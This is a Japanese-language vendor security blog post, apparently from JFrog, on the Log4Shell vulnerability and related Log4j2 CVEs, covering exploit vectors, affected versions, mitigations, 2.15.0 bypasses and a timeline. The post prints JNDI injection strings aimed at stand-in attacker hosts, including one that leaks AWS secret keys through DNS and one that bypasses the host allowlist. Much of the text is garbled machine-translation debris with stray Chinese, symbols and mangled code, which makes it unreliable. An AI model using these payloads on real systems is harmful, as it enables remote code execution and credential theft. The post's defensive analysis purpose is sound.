Log4Shellゼロデイ:知っておくべきこと

2021/12/15 更新:解析:
2021/12/14 更新:Java(
先週の木曜日,阿里巴巴云计算安全团队の研究者が,非常に人気の高いJava用log4jロギングフレームワーク(具体的にはLog4j2と呼ばれる2. xブランチ)を標的としたゼロデイのリモートコード実行エクスプロイトをTwitterに投稿しました。,Apache哇,哇,哇。mitre (cve - 2021 - 44228中文:Log4Shell> > > > > > > > >
JFrogは,Log4Jの存在やリスクを把握するOSSツールをリリースしました
スキャンツールのダウンロード
12/9以降この脆弱性は,容易にエクスプロイトが可能で(攻撃可能なPoCが公開済み),そしてLog4jが非常に人気があることから,多数の実際の攻撃が報告されメディアやソーシャルネットワークで広く扱われました。
このブログでは,この問題のエクスプロイトベクトルを明らかにし,何が脆弱であるかについての正確な研究に裏付けられた新しくかつ正確な情報を提供し(ネット上では不正確な情報もありました),log4jを容易にアップグレードできないベンダのための改善策を提案し,さらにJFrog社に寄せられた切実な質問に答えます(ここ数日で出回った緩和策の有効性など)。
重要:JFrog製品は,log4j-coreパッケージを使用していないため,影響を受けません。
?
Log4j2},消息查找替代“。中文:。?运行$ {java:运行时}。
运行Java版本1.7.0_67
ルックアップメソッドの1つであるJNDIルックアップ(JNDIはJava命名和目录接口の略で,Javaアプリケーションにネーミングとディレクトリ機能を提供するインタフェース),特にLDAPを利用したJNDIルックアップにおいて,指定されたJavaクラスをリモートソースから取得しメモリ展開してクラスのコードの一部を実行することが発見されました。
つまり,ログに記録された文字列の一部がリモートの攻撃者によって制御可能な場合,その攻撃者はその文字列をロギングしたアプリケーション上でリモートコードの実行を実現できることになります。
中文:中文:中文:中文:中文:中文:中文:中文:中文:
$ {jndi: ldap: / / somedomain.com}
この脆弱性は,以下のプロトコルでも攻撃可能です(一部のプロトコルはデフォルトでは使用できない場合があります)。
$ {jndi:ldap: / / somedomain.com}
$ {jndi:rmi: / / somedomain.com}
$ {jndi:dns: / / somedomain.com}()
,,,,,,,,,

? ?
。
- ★★★★★GitHubやその他の公開ソースで公開されている大量のエクスプロイトコードが使用できる
- Log4j2は,最も人気のあるJavaロギングフレームワークの1つであり,現在,log4j-core(脆弱なアーティファクト)に依存しているMavenアーティファクトは約7000個,そしてそれを使用しているJavaプロジェクトも無数に存在する
- ランダムにHTTPサーバに以下のようなリクエストを送信することで,ドライブバイアタック(ユーザの許可なしに攻撃スクリプト等のダウンロード,実行を可能とする攻撃)のシナリオに容易に利用することができる:
获取/ http /1.1主持人:somedomain.com用户代理:$ {jndi: ldap: / / attacker-srv.com/foo}
,XSStrikeのような自動化されたツールを使って,利用可能なすべてのHTML入力フィールドにペイロード文字列を入力することで,特定のウェブアプリに対してブルートフォース攻撃をすることもできる。
4.コンテキストに依存するものの,任意のユーザ入力がLog4j2のログ機能のいずれかには必ず到達するため(次のセクションを参照),攻撃シナリオを作ることは容易。ほとんどのロギングシナリオでは,ログメッセージの一部はユーザからの入力を含み,この種の入力は,安全であると考えられているため,ほとんどサニタイズされていない
?
Javaアプリケーションに脆弱性が存在するためには,以下の条件がすべて満たされている必要があります。
- Java (Maven)log4j-core)バージョン2.0.0-2.12.1または2.13.0-2.14.1を使用している(※バ、ージョン2.12.2は,2.16.0
- リモート攻撃者が次のAPIを通じて任意の文字列をロギングさせることができるー
logger.info (),logger.debug (),logger.error (),logger.fatal (),logger.log (),logger.trace (),logger.warn () - 使用しているJava JRE / JDKのバージョンが次のバージョンよりも古い
- 6 u211
- 7 u201
- 8 u191
- 11.0.1
上記より新しいバージョンでは,JVMプロパティのcom.sun.jndi.ldap.object.trustURLCodebaseがデフォルトで假に設定されており,任意のURLのコードベースからのクラスのJNDIロードが無効になっています。
ただし,脆弱なアプリケーションのクラスパスに特定の”ガジェット”クラスが存在するマシンではエクスプロイトされる可能性が依然残るため,Java,。乙“”。
j青蛙?
JFrogプラットフォームソリューションはこの脆弱性の影響を受けない。Artifactory,x光、分布、洞察力、访问任务控制を含むどの製品もlog4j-coreパッケージを使用していません。
(1)、(1)、(1)、(2)。JFrog製品は以下のいずれの CVE の影響を受けません。
- cve - 2021 - 44228
- cve - 2021 - 45046
- cve - 2021 - 45105
- cve - 2021 - 44832
?
★★★★Maven log4j-api。【中文翻译】:JFrog,log4j api単体としては脆弱ではない。★★★★Jndi,刷刷刷刷機能がないことによる帰着で,脆弱性のあるコードを起動することで容易に判断できます。

log4j apiのみをインストールした状態で上記のコードを実行すると,以下のような出力が得られます。
Log4j2找不到日志实现。请将log4j-core添加到类路径中。使用SimpleLogger登录到控制台…
? ?SimpleLoggerクラスで実行すると,ルックアップ文字列はそのまま記録されますが,ルックアップコードはトリガーされません(存在しないので)。
? ? ? ? ? ? ?
この問題の最善の修正は,依存関係にあるlog4jをバージョン2.16.0。これによりデフォルトでJNDIが無効になり,メッセージルックアップ機能が削除され,この問題を完全に解決します。
バージョン2.15.0にアップグレードすると,デフォルトの設定でリモートエクスプロイトを完全に防ぐことができます。ただし,このバージョンで追加された緩和策のほとんどは,すでにバイパスされています(? ?英文:。
アップグレードせずに問題を軽減できるか?
Log4jのバージョンを脆弱性修正バージョンにアップグレードすることで問題を完全に解決することをお勧めしますが,アップグレードせずに問題を完全に緩和することは可能です。
1:Log4j 2.10.0,
更新ーこの緩和策では,cve - 2021 - 45046を利用することで,稀なデフォルト以外の設定時にバイパス可能となります。通俗地说【中文译文】新しいLog4j2のバージョンにアップグレードできないベンダには,この緩和策1と次の緩和策2の両方を適用することを引き続き推奨します。緩和策2(脆弱なクラスの削除)は,cve - 2021 - 45046の影響を受けません。
Log4j 2.10.0またはそれ以降のバージョンを使用している場合,システムのinitスクリプトのうち1つでJavaアプリケーションのロード前のタイミングで次のコマンドを実行して,環境変数LOG4J_FORMAT_MSG_NO_LOOKUPSを真正的。
出口LOG4J_FORMAT_MSG_NO_LOOKUPS = true
あるいは、/ etc /环境ファイルに次の行を追加することで,システム全体に対して無効化することもできます。
LOG4J_FORMAT_MSG_NO_LOOKUPS = true
★★★★★★★★★★★★★★★★★★★★★★★追加保護対策? ? ? ?また,脆弱なバージョンのLog4jを含むか依存しているパッチ未適用のサードパーティのJavaパッケージから保護することもできます。
また,脆弱なJavaアプリケーションを実行時に次のコマンドラインフラグを追加することで,JVMの特定の呼び出しに対してルックアップを無効にできます:量Dlog4j2.formatMsgNoLookups = True
例:
java Dlog4j2。formatMsgNoLookups=True -jar vulnerability .jar
緩和策2:古いLog4jバージョンの場合は,脆弱なクラスを哎呀呀
2.10.0より古いLog4jのバージョンを使用している場合,次のコマンドを実行することで,あらゆるJavaアプリケーションからJndi,刷刷刷刷。
查找。/ -type f -name“log4j-core - * . jar”-exec zip -q -d“{}”org/apache/logging/log4j/core/lookup/JndiLookup.class\;
これにより,カレントディレクトリから始まるすべてのlog4j-coreのJARファイルを再帰的に検出し,そこから脆弱なjndi刷刷刷刷刷刷你知道吗?。
【中文翻译】:英文翻译:英文翻译:一包一包jndi刷刷刷刷刷刷クラスが,再帰的なJARファイルに組み込まれていたり,zipコマンドがアクセスできない場所に存在する可能性があるためです。哇!哇!哇!哇!哇!哇!哇!哇jndi刷刷刷刷刷刷。
j青蛙x射线?
CVE-2021-44228 (CVE-2021-44228)いつものようにCI / CD★★★★★★★★

JFrog CLI:

JFrog IDE:

[au:]
一包一包
リモートエクスプロイトが可能なアプリケーションの例(LunaSec,):
进口org.apache.logging.log4j.LogManager;进口org.apache.logging.log4j.Logger;进口. io . *;进口java.sql.SQLException;进口java.util。*;公共类VulnerableLog4jExampleHandler实现了HttpHandler{静态日志记录器日志=LogManager.getlog(VulnerableLog4jExampleHandler.类.getName());/ * **一个简单的HTTP端点,读取请求的User Agent并将其记录回来。*这基本上是解释漏洞的伪代码,而不是一个完整的例子。*@param他HTTP请求对象* /公共无效处理(HttpExchange他)抛出IOException{字符串userAgent=他.getRequestHeader(“用户代理”);//这一行通过记录攻击者控制的HTTP用户代理报头触发RCE。//攻击者可以将他们的User-Agent头设置为:${jndi:ldap://attacker.com/a}日志.信息("请求用户代理:{}", userAgent);字符串响应=“你好,”+ userAgent +“啊!”;他.sendResponseHeaders(200,响应.长度());OutputStream操作系统=他.getResponseBody();操作系统.写(响应.getBytes());操作系统.关闭();}}
乙:
Java
1:
新しいJavaバージョンでは,JNDIのリモートクラスローディングが無効になっていますが,メッセージルックアップ自体はまだ機能しており,さまざまな目的に濫用できてしまいます。
- ★★★★★
$ {jndi:dns: / / dnsserver.com/somedomain}のような文字列を使用すると,犠牲者がdnsserver.comにDNSクエリを送信するようになります(somedomain(DNS)。★★★★一包一包log4jインスタンスを検出するために使用でき、データをトンネリングバックしたり、あるいは、DDoS 攻撃として使用できます(脆弱なサービスと併用して)。 - 犠牲者のマシンの機密情報を明らかにするいくつかの【翻译? ? ? ?“”“”“”“”“”
$ {jndi: ldap: / / $ {env: AWS_SECRET_ACCESS_KEY} .attacker-srv.com/foo}この環境変数AWS_SECRET_ACCESS_KEYが脆弱なlog4jプロセスにエクスポートされていた場合,機密であるAWSアクセスキーがリークする可能性があります(任意のプロトコルで可能)。当然のことながら,攻撃文字列は脆弱なlog4jプロセスに存在する任意の環境変数値をリークするように変更できます。。主:$ {x}-。この引数には,コマンドラインで渡されたパスワードやアクセスキーなどの機密データが含まれている可能性があります。$ {sys: propname}- - - - - -Java。?現在のユーザ名(user.name)。

2:
【中文译文で網羅的に説明されているように,リモート逆シリアライゼーションが無効になっている新しいバージョンのJavaであっても,JNDIインジェクションをエクスプロイトする方法があります。
?org.apache.naming.factory.BeanFactory【翻译】Apache Tomcatサーバに同梱されていがる),Log4jを使用する脆弱なアプリケーションのクラスパスで利用可能な場合,基盤となるJRE / JDKのバージョンに関係なくLog4Shell脆弱性をエクスプロイトしてリモートコードを実行できます。
これは,より新しいバージョンのJavaがリモートの任意のクラスを逆シリアライズしないとしても,攻撃者は供給されたJNDIリファレンスを通じて,ファクトリクラスとその属性を制御できるという事実によるものです。
![]()
リモート攻撃者は,任意のファクトリクラスを提供することはできませんが,脆弱なプログラムのクラスパスにある任意のファクトリクラスをガジェットとして再利用できます。
。
- 脆弱なプログラムのクラスパスに存在する
- 对象工厂(ObjectFactory)
getObjectInstanceメソッドを実装している参考【中文译文
JFrogリサーチチームは,反射の危険な使用により,BeanFactory★★★★★★★★★★★★★★攻撃者が制御できる反射の文字列属性のみに基づいて,任意のJavaコードオブジェクトが作成されます。
このブログでは,脆弱なアプリケーションのクラスパスにBeanFactoryクラスが存在するマシン上で,新しいJavaバージョンのLog4Shellを悪用するために使用できる,適切な反射を持つRMIサーバをホストするための完全なエクスプロイトコードを参照しています。
このようなサーバを使用する場合のLog4Shell攻撃文字列は次のようになることに注意してください。
$ {jndi:rmi: / / attacker-srv.com/foo}
★★★★★★ldap? ?ldap。
今後、BeanFactoryクラスのような他の”ファクトリガジェット”が発見される可能性があるため,Log4Shellに対する唯一の対応策として新しいJavaバージョンに頼ることをせず,Log4jのアップグレードおよび/またはJFrogが提案する緩和策のいくつかを実施することを強く推奨します。
中文:
前述のように,素朴な攻撃ベクトルは,Log4j2を使用した脆弱なアプリケーションに対して,(通常は)LDAP経由でリモートのシリアライズされたクラスを取得させ,ロードを仕向けるものです。。
ldap, ldap,javaSerializedData属性を使用してLDAPリクエスト自体でシリアライズされたJavaオブジェクト(クラスのインスタンス)を送信することもサポートしています。
オブジェクトの逆シリアライズは,オブジェクトのクラスが現在のクラスパス(クラス検索時に参照されるディレクトリやJARファイルのリスト)に存在する場合にのみ可能です。
重要なことは,オブジェクトを逆シリアライズする場合にはtrustURLCodebaseによる。中文:。
。。
?ysoserial概念验证ツールは,これらのよく知られたガジェットのいくつかを集約し,任意のコード実行ペイロードを持つオブジェクトの生成を行えます。
したがって,特定の”ガジェット”クラスが脆弱なアプリケーションのクラスパスに存在することを知っている攻撃者は,そのようなオブジェクトを生成してLDAP経由で送信することで,javaSerializedData。
さらに,上述したLog4Shellの情報漏洩の特性により,攻撃者は,最初に脆弱なアプリケーションから特定のシステムプロパティを照会し(再帰的な検索を使用して),脆弱なアプリケーションにガジェットクラスが存在するかどうかを判断し,リモートコードを実行するためにターゲット固有のペイロードを構築する完全に自動化されたツールを構築することができるかもしれません。
今日まで,このようなツールが一般に公開されたり,使用されたりしている形跡はありませんが,残念ながら,この悪意のあるキャンペーンはまだ終わっていないと考えています。
Cve-2021-45046LOG4J_FORMAT_MSG_NO_LOOKUPSによる緩和策のバイパスについて
まず知っておくべき事実は,このバイパスを実現するための前提条件がそろうことは稀なため,大多数のケースではLOG4J_FORMAT_MSG_NO_LOOKUPS★★★★★★★★★★★★
cve - 2021 - 45046が公開されたことにより,提案されている緩和策の1つである”メッセージルックアップの無効化”が,デフォルト以外の特定の設定時にはバイパスできることが公になりました。
結論としては、Log4j2 2.10.0—2.14.1においてcve - 2021 - 45046のエクスプロイトが可能であれば,環境変数LOG4J_FORMAT_MSG_NO_LOOKUPSによる緩和策と,システムプロパティlog4j2.noFormatMsgLookup。
, cve-2021-45046, ?
(1)、(1)、(1)、(1)、(1)、(1)、(1)、(1)、(1)、(1)、(1)(英文)
。さらにそれがコンテキスト・ルックアップ(
$ {ctx:)中文:中文:一包一包log4j2.properties【翻译】:appender.console.layout.pattern = ${ctx:useragent} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%nは,様々な方法で行うことができ,いずれにしても,デフォルトのコンテキストルックアップパターンのレイアウトではないことに注意が必要的。

线程上下文映射。。【中文】:
public void handle(HttpExchange he)抛出IOException {// userAgent是攻击者控制的字符串userAgent = he. getrequestheader ("User-Agent");//注意,第一个参数匹配已配置模式ThreadContext中的变量名。把(“useragent”,useragent);//日志消息本身不需要包含任何消息查找log.info("Received a request with User-Agent");…
“中文”、“中文”、“中文”、“中文”、“中文”、“中文”、“中文”、“中文”、“中文”、“中文”、“中文”、“中文”。。
获取/ http /1.1主持人:somedomain.com用户代理:$ {jndi: ldap: / / attacker-srv.com/foo}
★★★★★★★★★LOG4J_FORMAT_MSG_NO_LOOKUPSによる。
更新 #1:@pwntester。
MapMessage
【翻译】
Appender.console.layout.pattern = ${map:污染}…
Java(污迹):
MapMessage msg = new StringMapMessage()。(“信息”,“H”)。(“污染”,污染);
logger.error(味精);
杰克逊(杰克逊がアプリケーションのクラスパスに存在する場合のみ)
【翻译】
Appender.console.layout.pattern = ${map:污染}…
Java(污迹):
logger.info(新ObjectMessage(污染));
StructuredDataMessage
【翻译】
Appender.console.layout.pattern = ${sd:污染}…
Java(污迹):
StructuredDataMessage m = new StructuredDataMessage("1", "H", "event");m.put(“污染”,污染);
logger.error (m);
更新 #2:JFrogセキュリティリサーチチームが発見・検証した脆弱なパターンの例の追加
環境変数
【翻译】
appender.console.layout.pattern = ${env:TAINTED_ENV_VAR}…
主营业务
【翻译】
Appender.console.layout.pattern = ${main:0}…
Java(污迹):
MainMapLookup.setMainArguments (args);
logger.error (" foo ");
イベント(メッセージ)
設定例:
< ?xml version="1.0" encoding="UTF-8"?>这将有效地重新打开消息查找。因此,可以执行类似于旧的Log4j版本的开发${event:Message} ... logger.info (" $ {jndi: ldap: / / attacker.com/foo}”);
Log4j2 2.15.0ではLog4Shell (cve - 2021 - 44228)のエクスプロイトを防ぐため,いくつかの英文释义★★★★★★★
“”“”“”“”“”“”“”“”
- メッセージルックアップはデフォルトで無効ーバイパス可(cve-2021-45046)
allowedJndiProtocols(JNDIにデフォルトでLDAP、LDAP、Java(本地)のプロトコルのみを許可]ー既知のバイパス無しallowedLdapHosts(JNDI在LDAPにデフォルトではローカルホストにのみアクセスを許可(127.0.0.1 / localhost)]ー常にバイパス可allowedLdapClasses(JNDI在LDAPにデフォルトでJavaのプリミティブクラスのみロードを許可]ー常にバイパス可
緩和策3および緩和策4がバイパス可能であり,我的意思是,我的意思是,我的意思是,我的意思是,我的意思是,我的意思是cve - 2021 - 45046の深刻度は“低”(3.7)から“重要“(9.0)にアップグレードされました。しかし前述のとおり,cve - 2021 - 45046をエクスプロイトするための前提条件は,まれなデフォルト外設定を必要とすることから,成立する可能性は極めて低いと考えています。
★★★★☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆
“”
,,,,,,,,,,,,
-
- 付録Cで言及した構成のいずれか
- アプリケーションが明示的にメッセージルックアップを許可している場合,構成ファイルのいずれかで
% m{查找}。例:Appender.console.layout.pattern = %m{查找}
前述のとおり,Log4j2 2.15.0においてこの緩和策をバイパスされると,現在のところリモートコード実行に直結します。
JNDI over LDAP,
@marcioalm ()$ {jndi: ldap: / / 127.0.0.1 # evilhost.com: 1389 /}中文:evilhost.com。このバイパスは,脆弱なアプリケーションがmacOSおよびFreeBSD上で動作する場合にのみ再現できました。またFedora, Arch Linux,高山Linuxにも脆弱性があることが報告されています。★★★★★★★★★★★★★★★★★★★★★★★★UnknownHostException(Ubuntu, Debian, Windows)。
“JNDI LDAPにデフォルトでJavaのプリミティブクラスのみロードを許可“の場合:
デフォルト以外の設定でJNDIが有効になっている場合,以下のバイパス方法はバージョン2.16.0でも有効であることに注意が必要です。
检查时间,使用时间
この脆弱性は,JFrogのセキュリティリサーチチームおよび他のセキュリティ研究者によって独自に発見され,Apacheに公開されました。
バージョン2.15.0で導入されたクラスローディングの緩和策は,まずgetAttributes中文:查找。
if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAP.equalsIgnoreCase(uri.getScheme())) {if (!allowedHosts.contains(uri.getHost()))}警告("尝试访问ldap服务器不在允许列表中");返回null;} //获取类属性ATTRIBUTES = this.context.getAttributes(name);if (attributes != null){//类加载检查在这里…}……}……//加载类返回(T) this.context.lookup(name);…
★★★★★getAttributesと查找の両方の呼び出しにより,別々のLDAPリクエストが送信されます。
★★★★★★★getAttributesと查找★★★★★★★★★★★★★★★★★★★★★★★★★★
“”“”“”“”“”“”“”“”“”“”“”“”“”
- LDAPリクエスト# 1で,零属性を持つレスポンスを送り返す(Log4jコードがすべての属性チェックをスキップする原因となる)
- {}}}}}}}}}}}}}}}
javaCodeBase【中文】

これは,古典的なToCToU (Time-of-Check分时)攻撃ですが,攻撃者のサーバが同期的に参照されるため,競合は生じません。
メリットー脆弱なアプリケーションのクラスパス上に”ガジェット”クラスの有無に依存しない
到处都是JavatrustURLCodebaseが假の場合)では,リモートコードベースの読み込みがブロックされる
バイパス# 2ー偽造された名前によってシリアライズされたオブジェクトの使用
埋め込まれたJavaオブジェクトを逆シリアライズするときに,オブジェクトの★★★★★★★★。。
if (attributeMap.get(SERIALIZED_DATA) != null) {if (classNameAttr != null) {String className = classNameAttr.get().toString();if (!allowedClasses.contains(className)) {warn("不允许{}的反序列化",className);返回null;}
ldap的英文:ldap的英文:ldap你知道吗?オブジェクトを指定し,そのjavaClassNameをプリミティブタイプのいずれかに設定することで,チェックを回避することができます。
private static final List permanentallowclasses = Arrays.asList(Boolean.class.getName(),
Byte.class.getName(), Character.class.getName(), Double.class.getName(), Float.class.getName(),
Integer.class.getName(), Long.class.getName(), Short.class.getName(), String.class.getName())
前述のシリアライズされたオブジェクトのバイパスと同様に,これはシリアライズされたオブジェクトの適切な”ガジェット”クラスがローカルのクラスパス中に存在するかどうかに依存しています。
メリットー哇!哇!哇!trustURLCodebase(假的)
到处都是ー脆弱なアプリケーションのクラスパスに”ガジェット”クラスが存在することに依存する
最近,Log4j2への新たなサービス拒否のCVEが公開されました- CVE - 2021 - 45105, CVSS7.5(av: n / ac: l / pr: n / ui: n / s: u / c: n / i: n / a: h)JFrogセキュリティチームは、バージョン 2.16.0 の CVE データと記載内容を検証し、CVSSを3.7(av: n / ac: h / pr: n / ui: n / s: u / c: n / i: n / a: l)。。
Cve
CVEには明示されていませんが,この攻撃の前提条件はCVE - 2021 - 45046とまったく同じです。;攻撃者はパターンレイアウトのうちメッセージ以外の部分を制御する必要があります。したがって,CVEに記載されているエクスプロイトケース(“スレッドコンテキストマップを制御する攻撃者”)は,適用可能なケースの1つに過ぎません。你怎么看玫玫。?MapMessage。
appender.console.layout.pattern = ${map:污染}- %-5p %c{1}:%L - %m%n
JFrogの見解では,このようなデフォルトではない(可能性の低い)設定が必要となるため,この問題の攻撃の複雑さは“高”になります。
是吗
(英译汉)1 .中文${::-${::-${}}}を,脆弱な設定のLog4j2バージョン2.16.0で実行すると,IllegalStateException? ? ? ? ?

この文字列は,過剰なCPUやメモリの使用を引き起こさないため,DoSの影響(もしあったとしても)は,システム全体に影響を与えるものにはならないはずです。デフォルトでは,Log4j2 appenderでは例外は無視されるため(ログに記録されるのみ),例外がサーバをクラッシュさせることはなく★★★★★★★★★
private void handleAppenderError(最终LogEvent事件,最终RuntimeException ex) {appender.getHandler()。error(createErrorMsg("处理Appender时发生异常"),event, ex);if (!appender.ignoreExceptions()) {// ignoreExceptions=true,默认抛出ex;}}
オフィシャルな修正
。
公式の修正プログラム(バージョン2.17.0)では,PoCのエッジケースを処理するためにStrSubstitutor★★★★★★★★★★★★★★★★★★★★★★★★★
レガシー(Java 7)ユーザ向けには,この問題を修正したバージョン2.12.3がリリースされることが示唆されていますが,本稿執筆時点ではそのようなバージョンはありません。
緩和策
★★★★★★★★★★★★★★★★Jndi,刷刷刷刷。
この問題を緩和するためには,例外が無視されないようなデフォルト以外のケースでは,ベンダはロギングコードを例外ハンドラでラップすることで,DoSに及ばないようにすることができます。
要約すると:このCVEは現在のところ,実稼働中のWebアプリケーションに現実的な脅威をもたらすものではないようです。
CVSS, CVSS, CVSS3.7(av: n / ac: h / pr: n / ui: n / s: u / c: n / i: n / a: l)
ベンダには,2.16.0のデプロイメントを2.17.0にアップグレードする前に,古いLog4j2を2.16.0にアップグレードすることに注力することをお勧めします。
2013/07/18ー脆弱なJNDIルックアップ機能がコミットされる
2021/11/24
2021/11/26ーcve - 2021 - 44228が横切によりアサインされる
2021/12/01通吃,通吃,通吃,通吃(Cloudflare),唆
2012/12/05バグチケット【中文】:
2021/12/09ーCve-2021-44228(Log4Shell CVE)
2021/12/09ゼロデイエクスプロイトコードをツィート。後にそのツィートは削除
2021/12/10ー版本2.15.0(cve-2021-44228)。メッセージルックアップ機能をデフォルトで無効にし,JNDIの操作では特定のクラスとホスト名に制限
2021/12/10《我的世界
2021/12/13ー版本2.16.0(cve-2021-45046)。メッセージルックアップ機能が完全に削除され(いかなる設定でも有効化不可),JNDIサポートがデフォルトで無効(有効化可能)
2021/12/14ーCve-2021-45046。Log4Shellがデフォルト以外の設定でエクスプロイト可能であることが示さたが,深刻な影響は無し2021/12/15ー版本2.12.2(2.16.0)。Java7 へのバックポート対応
2021/12/16ーcve - 2021 - 45046 9.0のCVSSがに引き上げられる。Log4J 2.15.0のホスト名とクラスの緩和策にいくつかのバイパスが発見されたため
2021/12/18ーCve-2021-45105。Log4Jの文字列置換にマイナーなバグがあり,デフォルト以外の設定では例外が発生する可能性があることが判明
2021/12/18ー版本2.17.0(cve-2021-45105)。★★★★★★★★★★★★★★★★
2021/12/22ー版本2.12.3(2.17.0)。Java7 へのバックポート対応
2021/12/22ー版本2.3.1(2.17.0)。Java6 へのバックポート対応
Log4j2 2.17.0,cve - 2021 - 44832★★★★★★★CVSS6.6(av: n / ac: h / pr: h / ui: n / s: u / c: h / i: h / a: h)
このCVEは,Log4jのバージョン2.17.1 (Java 8), 2.13.4 (Java 7) 2.3.2 (Java 6)で修正されています。
このCVEは,前提条件が非常に高く(後述),実世界のシステムに影響を与える可能性は低いと考えられます。
現時点では,Log4j2 2.17.0(または同等のバージョン)からのアップグレードは緊急ではないと考えています。
我喜欢你
現時点では,攻撃者がLog4jの設定ファイルを直接制御できる場合,特に任意の属性を持つ”JDBCAppender。
“JDBCAppender”数据源。
JNDIデータソースにアクセスする際,リモートプロトコル(LDAPなど)は依然として利用可能なため,ldap: / / attacker.com: 1337のような文字列を指定すると,脆弱であるアプリが攻撃者のサーバにコンタクトし,リモートクラスやシリアライズされたオブジェクトをロードしてしまいます。
PoC
。
< ?xml version="1.0" encoding="UTF-8"?>
前述のように,Log4jは多くの異なるフォーマット(JSON、YAMLプロパティ等)を介して利用できるので,これは有効なPoCの一例に過ぎません。
脆弱なアプリケーションが巴巴巴巴的,巴巴的,巴巴的。
Logger Logger = LogManager.getLogger("HelloWorld");
オフィシャルな修正
この問題は,Log4j2をバージョン2.17.1 (Java 8), 2.13.4 (Java 7)また2.3.2は(Java 6)にアップグレードすることで解決できます。
刷刷刷刷刷刷(,log4j2.enableJndiJdbc。
【中文】JNDIManager★★★★★★★★★★★★;「enableJndiJdbc」が設定されている場合でも、JNDI に関する以前のすべての制限が適用されることになります(例:連結文字列で許可されるのはローカルのJava)。
緩和策
よく知られているLog4Shellの緩和策と同様に,Log4J JARフのァイルから“JdbcAppender.classファイルを削除することが緩和策になります。
查找。/ -type f -name“log4j-core - * . jar”-exec zip -q -d“{}”org/apache/logging/log4j/core/appender/db/jdbc/JdbcAppender.class\;
